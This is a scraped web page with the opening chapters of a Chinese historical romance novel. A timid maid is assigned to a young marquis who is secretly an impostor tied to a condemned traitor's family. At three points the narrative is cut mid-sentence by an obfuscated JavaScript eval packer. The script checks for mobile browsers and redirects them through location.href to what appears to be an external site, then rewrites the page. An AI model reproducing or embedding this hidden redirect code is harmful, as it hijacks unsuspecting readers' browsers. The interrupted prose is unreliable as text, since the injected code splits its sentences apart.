《娇憨小侍女》 1. 麒麟轩 天光微晞,露珠凝结在叶子上,清晨的寒意中夹杂了一点湿润。 绵苑掐着时辰赶到慎柏堂,步入内间给老太君梳头。 人上了年纪觉少,老太君又习惯了早起,日日雷打不动这个时辰梳洗。 她坐到梳妆台没一会儿,就察觉身后婢女换人了。 老太君看一眼镜面,问道:“绵绵,你不在麒麟轩待着,作何又跑来我这里?” “绵绵给老太君梳头。”绵苑拿起黑檀木梳,轻轻挽起她银白色的发丝。 老人的发丝经过多年细心养护,柔顺滑亮,即便不再乌黑,也如绸缎一般富有光泽。 老太君却拒绝了,摆手道:“有若桃在,让她来就行。” 若桃闻言,立即从绵苑手中接过梳子,笑道:“绵绵这是牵挂着老太君呢。” “确实如若桃姐姐所说,”绵苑趁机请求:“老太君留绵绵在身边伺候吧?” “怎么了?” 老太君抬眼看她,粉雕玉琢的小姑娘,白生生肉嘟嘟的,谁能想到当年在人牙子手中那般瘦小。 她温声问道:“是麒麟轩不好,还是有人欺负你了?” “没有的,”绵苑摇了摇头:“我就是想跟着老太君。” “跟着我老太婆有什么出息。”老太君道。 “我不要出息。”她揪着小眉头,隐隐有几分倔强。 这天真的模样把老太君给逗乐了:“你这孩子……让若桃来评评理?” 若桃勉强附和一笑:“谁不知老太君疼爱绵绵,是多大的造化!” 小侯爷领兵打仗,得胜归来论功行赏,府里热闹了好些日子。 前日,老太君将身边三个大丫鬟给了出去,着令到麒麟轩去伺候小侯爷,虽说没有妾室名分,但那只是顾忌侯爷尚未婚配。 主母还没入府就弄一堆妾室,不太合适。 通房丫鬟已经算小半个主子了,月银皆有上涨,还各自给裁了几套新衣裳。 若桃没有被选上,她自知不够清秀,不敢奢望。 心底多少有些失落,没成想,绵苑竟然不乐意? “绵绵胆子小,离了慎柏堂不适应。” 老太君笑着安抚:“你别怕,只要照顾好小侯爷,待他妻子进门,我就做主给你抬身份。” 几个丫鬟里,她最中意绵苑,乖巧漂亮,心思又浅,绝不是爱生事的。 一句话,若桃更羡慕了,有老太君金口玉言,帮忙撑腰,还怕没有好日子过吗? 更何况小侯爷剑眉星目,气宇轩昂,绵苑简直是掉进福窝了! “可是我就想留在慎柏堂……”绵苑心里不情愿,希望改变这个结果:“老太君留下我吧?” 她不要伺候小侯爷。 去麒麟轩那天,三人正式拜见,座上的男人面沉如水,阴鸷冷冽,一身遮掩不住的肃杀之气。 虽说衣带熏香,却仿佛能闻到暗藏的猩红铁锈味一般。 沙场上回来之人,手中不知多少鲜血,到底与寻常人不一样。 绵苑敬佩英雄,但更想站在一旁远观。 更何况,她也是真心想留在老太君身边。 早年战乱,百姓流离失所,饿死不知凡几,绵苑幼时在人牙子手中,印象最深的便是饥饿,长久的饥饿。 后来她辗转来到侯府,老太君选中了她,吃好喝好,还教识字。 绵苑慢慢长大,成为老太君的梳头婢女,这期间,也看到了老人的睿智与坚强。 最开始,侯爷是老太君的丈夫,一骑快马送来沙场上的噩耗,他战亡了。 然后侯爷变成老太君的儿子,谁知没几年,也跟儿媳双双殒命。 现在,侯爷是老太君的孙子,终于凯旋归来。 她看见过老太君夜里的泪水,白日又抹干眼泪,从失去至亲的打击中走出来,一个人撑起长宣侯府的匾额。 对待下人仆役亦是赏罚分明,尤其待她,不乏慈爱。 绵苑并非不知好歹,老太君年事已高,迟早有走的那一日,慎柏堂不可能庇护她一辈子。 道理是懂了,只是内心并不开怀。 老太君一眼看透了她的心思,小姑娘这是还没开窍。 做侯爷的妾室,不比外面贩夫走卒或者配个小厮要好? 即便不为自己考虑,也要替将来的孩子着想,好歹大户出身衣食无忧,能学武习文。 况且,老太君是真心渴望曾孙,府中送走了太多人,需得多多添丁才好,尤嫌三个通房丫鬟不够多呢。 绵苑很快被老太君赶走了,让她回去麒麟轩好好伺候小侯爷。 麒麟轩依着嶙峋假山而建,连接着曲折回廊与半山亭,另一侧还有个清水池,景致奇美。 它不是这座府邸的正院,正院叫泽兰院,乃侯爷与夫人的居所,如今上一辈故去,小侯爷当家了,却没有搬进去。 绵苑回去时,顾寒阙刚练完剑。 高大的树下,叶子随着剑意簌簌抖动,飘旋落地。 那道颀长身姿,宽肩窄腰气势凛然,挺直如他手中剑,锋芒毕露。 顾寒阙眉目深邃,眼神冷冽,瞧着就不是好相与的。 绵苑天生胆子不大,根本不可能往前凑。 长剑归鞘。 竹丛旁的石桌边上有两人候着,蔓语眼明手快,一把挤开了小厮姜涿,端起茶托。 她嗓音柔得能掐出水,道:“小侯爷请喝茶。” 姜涿见状,索性老实站着不动了。 顾寒阙伸手接过抿了两口,瞥一眼蔓语,淡声道:“姜涿,给她找点事情做。” 说完,收起长剑旋身回屋。 原本微垂着脑袋的蔓语,尚未露出羞涩就被吓白了脸,不知道自己哪里做得不好,“小侯爷……” “是。”姜涿在后面点头,扬声道:“小侯爷不喜太殷勤的,端茶送水这种小事我来做就行。” 要不是给老太君面子,这般矫揉做作的早就打发了清静。 晨练后顾寒阙要沐浴更衣,收拾妥当才出来用早膳,姜涿随他入内,一把关上门,把婢女拦在外头。 谁都不许近身。 蔓语咬唇杵在原地,颇有些不甘心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478948|169985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们三人前天就来了,原本铆足劲想争第一个,却发现小侯爷不曾召过谁留宿。 如今连丫鬟的活都不让她做,可怎么办?! 一回头,她瞧见了绵苑,立即挑眉问道:“大清早的你上哪去了?” 不等绵苑回答,蔓语就猜到了,哼了一声:“你去慎柏堂献殷勤了吧?可惜,老太君再怎么插手,也管不到小侯爷的床上去。” 有什么用!还不如学半莲去张罗早膳,尚且能卖个好呢。 “……不是你想的那样。”绵苑抿着唇角否认。 也不与她争辩,自顾自回屋。 她们是通房丫鬟,管家把房间安排在了西厢房里,每人有单独一个小屋,距离小侯爷的起居室也近。 仔细想想,麒麟轩并无不好之处,钱多事少,小侯爷许是不信任她们,或者不习惯婢女伺候,毕竟常年在军营哪有这些,一个姜涿就包圆了全部。 绵苑既然不能回到老太君身边,只能说服自己接受现状。 蔓语也回屋了,还不请自来,挤进了绵苑的房间。 “你有什么打算?”蔓语转着眼睛试探道:“半莲是个聪明人,她已经行动了。” 绵苑闻言缓缓一摇头:“没打算。” 也不想问半莲有何行动。 蔓语才不相信,谁不想摆脱奴籍,道:“大家同一屋檐下,你能瞒得了多久?” 在她心里,绵苑就是她最大的‘对手’,杏脸桃腮,肤如凝脂,更气人的是体态玲珑。 几人一块长大,吃得一样饭食,偏就她胸前又圆又鼓! 蔓语生怕自己落其人后,铆足了劲儿想争上一争,谁知不一会儿,姜涿就来喊绵苑,把以后清扫净室的工作交给她。 浴桶里的水有人拎走,力气活用不着绵苑,她只需要将方砖上的积水脚印拖干净,再将物品归位架子上即可。 打扫完净室就去给小侯爷叠衣裳,寝屋不准进,有单独一个房间放置衣物,惯用的熏香都在里头。 这是看绵苑比较安分,至于蔓语,外头扫落叶擦栏杆都要人手,总有地方去。 “我也想给小侯爷叠衣,”蔓语懊恼得很,连忙道:“我还会其他的呢!” “来日方长,蔓语姑娘也太冒进了点。”姜涿摇头:“并不是谁都能触碰小侯爷贴身之物,主子有吩咐自会传召。” 后面半句是对绵苑说的,免得她也一时糊涂,做出什么手段来。 丢下这句忠告,姜涿便离开了。 绵苑扭头看蔓语气呼呼的样子,道:“若你实在不愿,我可以跟你换。” “我才不换,你休想害我!怂恿我去做触怒主子的事情!” 蔓语心中不忿,却不敢不听安排,方才小侯爷都那样说了,她又不是傻子,还往前凑? 不过是端了一杯茶,就要被她抢占先机了! 绵苑脾气软,也不生气,好声问道:“那你要如何?” 蔓语瞪着她这张瓷白小脸,目光下移,停留在那沉甸甸的胸团上:“我想以色侍人!” “……”绵苑不理会她了。 2. “滚出去。” 绵苑不想撞见顾寒阙,怕被抓去以色侍人。 等了一会儿才去往净室,丽奴已经把浴桶里的水清空了。 丽奴是个体格高挑的姑娘,皮肤黝黑,沉默寡言,面容带有凹凸不平的可怖烫伤。 她和姜涿都是小侯爷从边关带回来的,并非侯府中人,因为有一把子力气,被留下来做些粗使活计。 日常负责打水,确保主子随时有干净的水可用。 丽奴埋着头走路,谁也不搭理,与共事之人一个眼神交汇都不。 绵苑也没贸然打招呼,待她离开后才开始收拾。 净室里的物品并不杂乱,沐浴的胰子和香膏都在架子上,基本不需要怎么规整。 小侯爷虽是个战场上厮杀回来的武将,但行为举止并不粗蛮或大大咧咧,相反,除去高大的体型,他更像是一个沉着冷静的有学之士。 从他用的熏香到喜欢的茶叶能窥见一二。 绵苑收拾完就去了隔壁房间,屋内摆放了两个鎏金的熏笼,空气中漂浮淡雅的芬芳,清冷怡人。 老太君也用熏笼熏衣,女眷多以花香果香居多,再佐以一些香粉香露拍在衣襟处。 小侯爷用的是一味清冷合香,叫做雪中春信,淡雅悠长,似有还无。 可见他有自己的品位与讲究,而不是给什么就用什么。 这个现象,让人有些意外。 小侯爷离京八年,十二岁之后就在边关长大,原以为耳濡目染之下,行事会更加直率不羁一些,结果却恰恰相反。 或许这就是一代名将的底蕴,有勇有谋之辈,自然不可能胸无点墨。 八年前,一道军令把长宣侯遣去了边关,他心知此战役无法短时间结束,带上了夫人和世子。 老太君万分不舍,却知军令难为,有儿媳和孙子跟着同去,一家人在边关方便相互照应。 那也是绵苑最后一次看见老侯爷,年仅八岁的她只记得天阴沉沉的,谁也开心不起来。 再后来就是四年前,兵将扶灵归来,几口棺材在长宣侯府门外摆了一排,触目惊心。 老侯爷与夫人战亡,包括一些亲近下属,棺椁都一同送回京来。 十六岁的世子没回来,他披挂上阵,代替他的父亲,誓与敌军不死不休。 文武百官为之动容,纷纷夸赞虎父无犬子,人中豪杰。 陛下便命他继承长宣侯的爵位,另封了镇西将军,留在边关。 这一待又是四年,陆续传回捷报,二十岁的年轻小侯爷大获全胜,终于结束了鄢国与西蛮的长年战事。 陛下龙颜大悦,大军凯旋后,晋升他为常胜将军,手握兵权,官拜一品。 沉寂许久的长宣侯府,这才热闹起来,门庭若市。 天下太平,简单四字来之不易,经受过苦难的人更能体会到这一点。 绵苑叠完衣裳就没事干了,回到房间里,蔓语和半莲都不在。 她从一个小木箱里翻出一块黑乎乎的石头,装到小竹篮内,搭上一块布遮掩着,挎上它往外走。 绵苑没离开麒麟轩,只是寻了个僻静角落,借着假山和树木遮掩隐秘行事。 她差点把‘打砚日’给忘了。 这是民间自发的日子,尤其在十几年前,极为盛行,打的是一个名为顾砚的通敌卖国者。 他背叛了鄢国千万人,罪行罄竹难书,人人得而诛之。 因为名字里带了‘砚’字,起初是有人用砚台充做他来泄愤,又打又烧的,百姓舍不得砚台,以石头替之,还会在上面刻上顾砚的名字。 绵苑的爹娘便是死在顾家军手中,那时她四岁,已经开始记事了。 乱世之中孤儿无法存活,为了一口吃的,她跟上了人牙子,和一群流民一同北上。 人命如草芥,半分不值钱,甚至人牙子都挑挑拣拣的。 饥寒交迫,疟疾横生,死亡威胁,人们怨天道无情,怨世道艰难,还怨顾砚作恶,害了许多人。 时日久远,绵苑倒没有了那股愤恨,不过她每年还是会打砚,顺便祭奠一下她的爹娘。 当初年幼,又为了迫切活下去,连忌日是哪一天都不懂得。 索性打砚日就是父母的忌日了。 绵苑刚把黑乎乎的石头拿出来,尚未开始,背后便传来一声喝问:“谁在那里!” 她吓了一跳,石头没拿稳,咕噜咕噜滚落在地。 好巧不巧,它滚到了来人脚边,绵苑回头发现竟是顾寒阙二人,方才那是姜涿的声音。 “见过小侯爷……”绵苑低头见礼,一边要去捡回石头。 她伸出的手被一把扣住了,顾寒阙的大掌虚虚握在她细白腕间,敛下眼皮打量黑色的圆润石块,依稀可辩顾砚二字。 姜涿也看见了,当即脸色一变:“你在做什么!谁让你在府中弄这个的!” “我……”绵苑胆子小,这会儿被抓住手腕,高大的身形堵到跟前来,半是惶恐半是不解。 她连忙替自己辩白道:“奴婢没有烧纸钱,还请小侯爷明鉴。” 她知道一些府邸忌讳烧纸钱,所以每年只打打石头,再对着爹娘的在天之灵念叨几句,心意到了即可。 这件事应该没有多么严重,府中这么多年一直如此,打砚是稀疏平常的一件事,可是姜涿却疾言厉色。 而顾寒阙面沉如水,叫人捉摸不透,虽说没有问责她,但脸色绝对不算明媚。 绵苑以为是误会她烧纸钱了才这般,殊不知,姜涿的关注点在这块石头上。 简直想立即传唤管家,把她发卖了! 可是他的主子却没有追究的意思,松开了绵苑的手腕,面无表情道:“下不为例。” 顾寒阙跨步迈过那块石头,旋身离开。 姜涿见状,明白了他的意思,只能放绵苑一马,但不忘回头警告:“麒麟轩不准弄这些!” 绵苑颇有些一头雾水,遇事不决先认错:“奴婢知错了……” 然后眼巴巴的目送二人离去。 她揉揉小手,有种逃过一劫的感觉,小侯爷即便一言不发,也挺吓人的…… 绵苑不明白。 ——因为长宣侯府姓方,真正的小侯爷叫方昭年。 而顾寒阙,是冒名顶替者。 ******* 姜涿跟随顾寒阙回到书房,咬牙道:“即便她是老太君的人,小侯爷也不必如此容忍!一个婢女而已!” 顾寒阙神色淡漠,颀长的身影立于窗前,眺望一池春水:“你能杀了她,杀得尽这天下人么?” 跟一个婢女较劲又有何用。 顾砚通敌,罪恶滔天,人人喊打。 世人皆是这般认为。 姜涿明白主子在想什么,顿时涌起一股深深的悲凉与愤恨,道:“就算改变不了什么,也不能容忍在眼皮底下看见打石头!” 顾寒阙眸底浮现一抹阴鸷,唇角微勾:“那我偏要留着她,日日提醒,外头的人是如何打砚的。” “公子……”姜涿面露不忍,这不是纯粹折磨自己么! “你失言了。”顾寒阙冷声道。 姜涿知道不能这样称呼,低头改了口:“小侯爷,麒麟轩既然留下这三个婢女,还是得立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478949|169985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些规矩才好。” 他们身负秘密,身边伺候的人自然要精挑细选。 “注意分寸。” 顾寒阙借用了方昭年的身份行事,与侯府也有些渊源,老太君爱孙心切,他不能全然拒绝。 “是。” 姜涿倒不会拿绵苑怎么样,只是以后不让她到主子跟前去碍眼。 不过到了晚间,老太君过来一同用膳,立即就把绵苑唤来了,让她给顾寒阙斟酒。 姜涿想拦也拦不住。 自从孙儿回来,老太君有空就到麒麟轩用膳。 侯府人丁寥寥,余下他们祖孙二人,若还各吃各的,属实冷清。 她也不让顾寒阙到慎柏堂去,没几步路,她乐意亲自走动。 人越不走,越是要废了。 顾寒阙见老人家身子骨硬朗,也就不一味的阻止了。 老太君心胸豁达,否则这么多年这么多事,早就撑不住了。 她还喜欢饮酒,今晚见顾寒阙闲着,当即与他喝上两杯,坐着说说话。 绵苑捧起酒壶给她倒酒,小侯爷凯旋后,老太君脸上的笑容就没断过,精神更好了。 酒过三巡,老太君唠叨了几句方家几代单传的话题,一错眼,就瞧见了绵苑手腕上的红痕。 “你这手怎么了?” 绵苑一惊,想躲都来不及了,老太君拉住她,推起衣袖的遮掩,彻底露出手腕上的痕迹。 她肤色雪白,一点指印看着就很是醒目了。 仔细一闻,还有淡淡的药香,已经涂抹过了,却没那么快消下去。 “何人下此狠手,给你掐红了?”老太君问道。 顾寒阙也看见了,不由抬眸,扫了她一眼。 绵苑垂着脑袋,也不敢看他,选择了说谎:“老太君,这是我跟自己闹着玩弄的……” 她眼睫颤动,一说谎就心虚。 “绵绵是个老实孩子,脾气柔软,可不能到了麒麟轩受人欺负。” 老太君一边说着,一边看向顾寒阙,道:“她的心很小,给她一隅安定就自己乐呵去了。” 话里话外,无不点着让麒麟轩给她留块地方。 顾寒阙手执酒盏,也不言语。 老太君又对绵苑道:“小侯爷不胜酒力,你扶他回房歇下吧。” 绵苑张了张小嘴,属实没看出这人哪里‘不胜酒力’了。 “傻绵绵,愣着干什么。”老太君催促,忍不住跟若兰嘀咕:“太安分也不好,一步一个动作的……” 绵苑迟疑着,顾寒阙放下杯盏起身,伸出胳膊给她搀着,道:“时辰不早了,姜涿送送老太君。” 老太君见状满意一笑,摆手道:“这点路哪用得着送,我溜达着就回去了。” 她唯恐坏了孙儿好事,也不逗留,立即便离开了麒麟轩。 任谁都能看出老太君的意图。 顾寒阙拂开绵苑微颤的指尖,道:“你明白要如何安老太君的心。” 绵苑闻言,两手抱住自己圆滚滚的前胸:“小侯爷要与我生孩子?” 老太君最挂心的便是添丁一事。 欲要离开的顾寒阙,面无表情回过头:“你哪一句听到的?” 难道不是么? 绵苑的小眉头揪了起来,厨娘不止一次跟她说,若非府中没有什么二爷三爷,她估计早就被收了。 如今小侯爷回来了,还是二十‘高龄’未经女色,她被塞了过来,怕是逃不过这一劫。 顾寒阙黑眸微眯:“滚出去。” 很好,有朝一日他也被当做好i色之徒了。 3. 醉得厉害 绵苑滚回自己房间了,带着一丝丝逃脱的庆幸。 西厢房里,蔓语正在翘首以盼,口中念念有词,骂绵苑的卑鄙无耻。 居然真的让老太君出动来替她牵线了! 老太君如今的贴身婢女是若桃,可偏叫了绵苑去倒酒,什么路数还用得着说么! 蔓语很难不眼红,绵苑总是装出乖巧讨喜的模样,赢得老太君欢心。 这么多年来得到过的赏赐最多,而厨娘们看碟下菜,有什么好吃的也留给她! 现在伺候小侯爷这等好事,也让她先去了! 蔓语走来走去,半刻不消停。 一旁的半莲在嗑瓜子,似笑非笑道:“是不是想到绵绵怀胎生子了?庶长子那也占个长。” 蔓语被一句话戳了肺管子:“她能有这福气!” “瞧瞧你这点出息。”成天跳脚的,半莲看不上眼。 蔓语冷笑一声:“你倒是气定神闲,小侯爷正眼看你了么?” “这便是问题所在了。”半莲的语气幽幽,道:“难道你没发现,咱们这位新主子眼光挑剔么?” 大户人家的内宅,有好些见不得人的阴私,男人总喜欢新鲜,漂亮丫鬟在眼前晃悠,甭管老爷少爷都有偷吃的。 侯府因为主子少,所以清静,可小侯爷也是男人,还是个在军营常年见不着姑娘的男人。 老太君堂而皇之送了三个美人过来,他居然无动于衷,这让半莲很是不解。 半莲和蔓语绵苑不同,她是家生子,爹娘都在侯府,有人在背后替她出谋划策。 谁知第一步就施展不开,小侯爷太过冷漠,都不给她们半个眼神。 近身伺候的就姜涿一个小厮,而那个脸上有烫伤的丽奴,看着大手大脚像是会功夫的,指不定在边关时候也上场杀过敌。 半莲无计可施,只能徐徐图之,顺便看看,小侯爷是不是喜欢绵绵这样的女子。 绵苑便在这时回来了,闲着的两人齐齐扭头看她。 半莲有些意外,蔓语则直接笑了出来,哼声道:“小侯爷没让你留宿?” 看来,有老太君撑腰也没什么用呢! 绵苑一脸老实的摇摇头:“他让我滚。” “什么?”半莲立即问道:“你做了什么触怒小侯爷?” 绵苑不禁回想,微微一鼓软糯的面颊:“我才没有触怒他,只不过戳穿了他的用心,所以心生不悦了。” 对,一定是这样。 半莲没听懂,只是诧异,绵苑都没看上,小侯爷果真是不好伺候。 而蔓语嘴角的笑根本压不住,才不管绵苑做了什么,只知道她被赶出来这一件事就够了。 谁也别抢占先机,大家就在西厢房耗着吧! 蔓语很想摆脱奴籍,绵苑却是个胸无大志的,许是幼时忍饥挨饿,如今只求温饱无忧,并没有什么大富大贵的妄念。 反而更羡慕若桃,要是没有这张姣好面容,她会跟若桃一样待在老太君身边。 年岁上去后也不是非要许配给谁,她做姑姑做婆子,以自己能力换取报酬,拿着月钱老来无忧。 即便不能在侯府待一辈子,谋事在人,大户人家出去的婢女也不愁活计营生。 除非是犯了严重过错被驱逐典卖,那境地才糟糕。 绵苑没有想过太长远的未来,这条路是跟厨娘婆子们闲聊时得知的。 而一旦和府中爷们勾搭在一起,未来的路瞬间就会模糊不清。 也许会成为主子,一时风光无两,也可能被发卖被打死,甚至被郎君拿去交换送人。 这些都是绵苑道听途说来的,侯府人事简单,自然没有这些故事。 她目前最主要是对顾寒阙这个人怵得慌,没由来的……出于某种小动物的直觉。 ******* 第二天,姜涿安排绵苑和蔓语做了互换,不让她打扫净室了,换去庭院扫地。 绵苑没有意见,乖乖接受调度,只是心中略有些疑惑,昨日的事情竟让姜涿如此介意,甚至对她摆脸色。 为什么呢? 莫非他是顾砚的拥趸? 当年事发后,举国震惊万人唾骂,也有一小部分人坚定的认为顾将军不会叛国。 可是证据确凿,不容辩驳。 原先顾砚万人敬仰民心所向,而这份力量越强大,反噬就越厉害。 人们恨极了,这才衍生出打砚的日子。 姜涿临走之前还特意叮嘱,麒麟轩一概不准打石头,一经发现,严肃处理。 不打就不打,又能改变什么,家破人亡的受害者那么多,绵苑不需要争辩任何,仇恨并不会轻易烟消云散。 蔓语喜不自胜,尾巴差点没翘到天上去。 绵苑不想听她唠叨,自顾自扛起扫把去扫落叶。 入秋了,庭院中的石子小径铺上一层枯黄叶子,颇为一番别致意境,只是若不清扫,一层层落叶腐朽在底下,那便不美了。 需得每日午后,将石子路扫干净才行。 绵苑挥舞着扫把哼哧哼哧做事,顺道还捡拾了好几片漂亮的落叶,黄橙相间,色彩绚丽。 麒麟轩的事情都很轻松,毕竟老太君送她们过来不是为了干活的。 而园林的花卉养护有府中园丁负责,也不是谁都能将这些精贵花草给侍弄好。 蔓语之所以不乐意做这个,是她认为在室内更能混个脸熟,让小侯爷记住她。 如今她得偿所愿,绵苑也自得其乐,算是两相皆宜。 只是才过去两日,蔓语就在净室里跟丽奴起了冲突。 绵苑回房后才听半莲说起,蔓语跟人家发生口角继而推搡,然后被反推在地上,手心擦破了皮。 半莲掩着唇角笑道:“丽奴一把子力气,她可真有胆量。” 人家打水提水单手就能完成呢。 “是怎么吵起来的?”绵苑不解。 丽奴分明谁都不搭理,又怎么会与人拌嘴。 蔓语正生气着呢,怒道:“今早小侯爷沐浴,我在外面等候,丽奴就来驱赶我!还总是用眼睛恶狠狠瞪我,态度极其嚣张!” 她们倒没敢在主子跟前闹起来,只是顾寒阙离开后,两人继续眼神冲突,心火高涨,所以吵了几句,最终被推了一把。 绵苑知道蔓语的性子,嘴巴不饶人,或是嘀咕了几句丽奴,而丽奴显然不是隐忍的脾气。 这会儿她也不知道要如何劝,没有劝架经验。 想了想道:“她毕竟是小侯爷带回府中的……” “我看你是不长记性,”半莲摇头嗤笑:“都说不要心急了,小侯爷尚在沐浴,你早早等着做什么呢?” 有何筹谋很难猜么? 一语中的,蔓语一张小脸红了又白,恼羞成怒:“我在外面又没进去,即便她更早跟随小侯爷,也管不到我头上来吧!” 在蔓语眼中,她是来伺候小侯爷的,区区一个丽奴应当礼让她才对,结果不仅没有,还反过来给她脸色看! 这跟奉旨前来被太监受气了有何分别! ——更气人的还在后面,姜涿又过来了,眉头皱得死紧,把绵苑的工作给换回净室。 蔓语当即天都要塌了:“她还敢恶人先告状!” “丽奴没有告状,麒麟轩的大小事我都知道。”姜涿没好气道:“你若继续这样不省心,我就去禀明老太君,把你驱逐出去。” 他本想把绵苑弄远点,可抵不住蔓语一心爬床,老太君宽和,把婢女纵得无法无天了。 姜涿倒是想把半莲换过来,目前看来还沉稳一些,但她已经负责了膳食,万一换走了,可别害得主子连一顿饭都吃不安生。 手里没有几个兵,矮个里拨壮丁! “我扫地干净。”绵苑动了动小嘴,不想换来换去的。 “以后不用你扫了。”姜涿头疼得很。 后院没有主母镇着,通房丫鬟心思活络,他以前只带过小兵,可没管过婢女,想了想看向蔓语道:“再不安分点,便扣罚月银。” 这回蔓语真生气了,跑回房间气哭了,甩上门不跟任何人说话。 绵苑没想到会这样,姜涿说丽奴没告状,可这么点小事怎就传他耳朵里了呢? 下人之间发生口角也很常见,只要不打到主子跟前去,基本不会闹大。 姜涿还说麒麟轩的大小事他都知道,总感觉有哪里怪怪的。 ****** 麒麟轩来客人了,是户部尚书刘大人,小侯爷命人在流花厅备下酒菜招待。 半莲沏得一手好茶,她奉茶去了,绵苑帮着一起到厨房那边点菜,再打一壶好酒。 因为老太君闲时会自饮自斟,侯府窖藏了不少酒坛子。 这其中也有一些老酒是为了将来孙媳妇过门或是孩子满月宴准备的,否则临到头来,好酒易得,有年份的却不好找。 绵苑把酒送过去,正好赶上顾寒阙请刘明顺入座。 刘明顺一抬头,瞥见这么个美貌婢女,不由会心一笑:“侯爷回京后的日子,当真令人羡慕。” 他拿起杯子,一手抚上自己圆滚滚的肚子,本想让绵苑斟酒,对面的顾寒阙已经淡淡开了口:“姜涿,给刘大人倒酒。” “好嘞。”姜涿上前,示意绵苑退下。 刘明顺见状也没说什么,他今日来,可不是为了饮酒作乐。 “侯爷这回可要帮帮我,李扶尘那佞臣,谄媚之极,嘴巴一张一闭就要建摘星台,把陛下哄得团团转。” 鄢国常年征战,户部哪里有钱。 刘明顺心里这口气堵很久的,当下立即破口大骂。 顾寒阙也不接话,等他骂完一通,才道:“他是陛下亲封的国师,深受信任,本侯怕是说不上话。” “侯爷太过自谦了。”刘明顺举起酒杯道:“西蛮一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478950|169985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直是陛下的心病,侯爷能打得他们俯首称臣,功在千秋,陛下心中可谓是十分欢喜。” 顾寒阙举杯和他碰了碰,仰头一饮而尽。 “侯爷好酒量!”刘明顺跟着也喝,笑道:“据我所知,宜真公主频频现身宫宴……侯爷好事将近了。” 侯爷参加的宫宴,公主皆不缺席,未尽之词,不言而喻。 顾寒阙半敛着眼皮,遮住冷芒,道:“神祭一事,本侯一窍不通,即便开口也辩不过李扶尘。” 刘明顺闻言,又笑不出来了,满脸愁苦:“那厮确实牙尖嘴利,否则怎么能哄住陛下呢!” 要建造一座摘星台,可得不少银两。 说是西蛮战事结束,要承托国运,大祭众神。 旁的刘明顺不知道,只知库房里拿不出银子,陛下却不管不顾,吩咐把摘星台建起来。 为此,刘明顺有不少苦水要诉,顾寒阙陪坐一旁,一边劝酒一边听唠叨,半句帮衬的话都不肯吐露。 刘明顺大抵在心里把他也一起骂了,油盐不进! 面上却不敢得罪,侯爷长侯爷短的,黄汤下肚,直灌了个五分醉,才被随从搀扶着告辞离去。 姜涿好不容易送走了人,撇嘴道:“满肚肥肠,捞油水最多的就是他,还好意思哭穷!” 今日的鄢国,何止是顾砚有天大的冤屈,这从上到下,腌臜事还不知有多少呢。 顾寒阙正要让他撤了席面,门房处又来通禀,三皇子的车驾停在府外。 这又是一个闻着味过来想示好拉拢的,索性换几盘菜,添上新碗盘,继续招待。 绵苑又去打上两壶酒,流花厅有半莲守着,旁的就没她什么事了。 蔓语也去帮忙了,侯府以前就老太君一个主子,她偶尔跟夫人女眷们赏花喝茶,但次数不多。 自认是孤寡之人,不愿掺和那热闹,况且府里也没什么名目大宴宾客,甚至她的生辰都不过。 直到小侯爷回来,才焕发出生机。 流花厅喝了大半个下午,贵客才离去。 蔓语趁机一睹三皇子的尊容,回来就管不住嘴,小声叭叭道:“原以为皇家贵胄该是何等雍容华贵,但属实比不上咱们小侯爷……” 且不说那张脸了,身高体格乃至气势,无一不被衬了下去。 绵苑没见过三皇子,她选择抬手捂住耳朵:“你自己闯祸可别连累我。” 蔓语哼了一声:“谁稀罕与你说话。” 话虽如此,她到底不敢继续非议皇子,转而嘀咕起半莲,她去给小侯爷送醒酒汤了。 主子醉酒这么好的机会,蔓语只能眼睁睁错过! 不一会儿,半莲就回来了,说是小侯爷一身酒气正在沐浴,让绵苑稍晚些去收拾净室。 她顿了顿,还以为蔓语又有话说,谁知分外安静。 半莲奇道:“这人转性了不成?” “呸!就准你有脑子?”蔓语撅起嘴巴:“小侯爷对我们都没兴趣,我还有什么可抢的。” 都那么多天了,通房丫鬟一个都没通成。 亏得她摩拳擦掌,全是白忙活一场。 绵苑见她想开了,不由抿唇一笑:“也不是坏事,至少涨了月例。” “你就这点出息,赶紧干活去吧!”蔓语开始赶人了。 绵苑又等了等,才去往净室。 里头已经没人了,丽奴做事麻利,把浴桶都搬走了。 绵苑进去检查胰子香膏等物是否需要添置,再往柜架上备放干净的衣物,都是熏过的,整整齐齐。 看来小侯爷即便喝醉了,也没有把室内弄得湿漉漉。 她很快就收拾妥当,临走之际,忽然在角落里看见一块肉色的东西。 绵苑走了过去,捡起它,触感细腻,是一块皮子。 她把它摊开来看,赫然发现了上面五官的孔洞,竟是一张人脸?! 太过于冲击的一幕,以至于绵苑如遭雷击,毫不犹豫的就把它丢了出去! 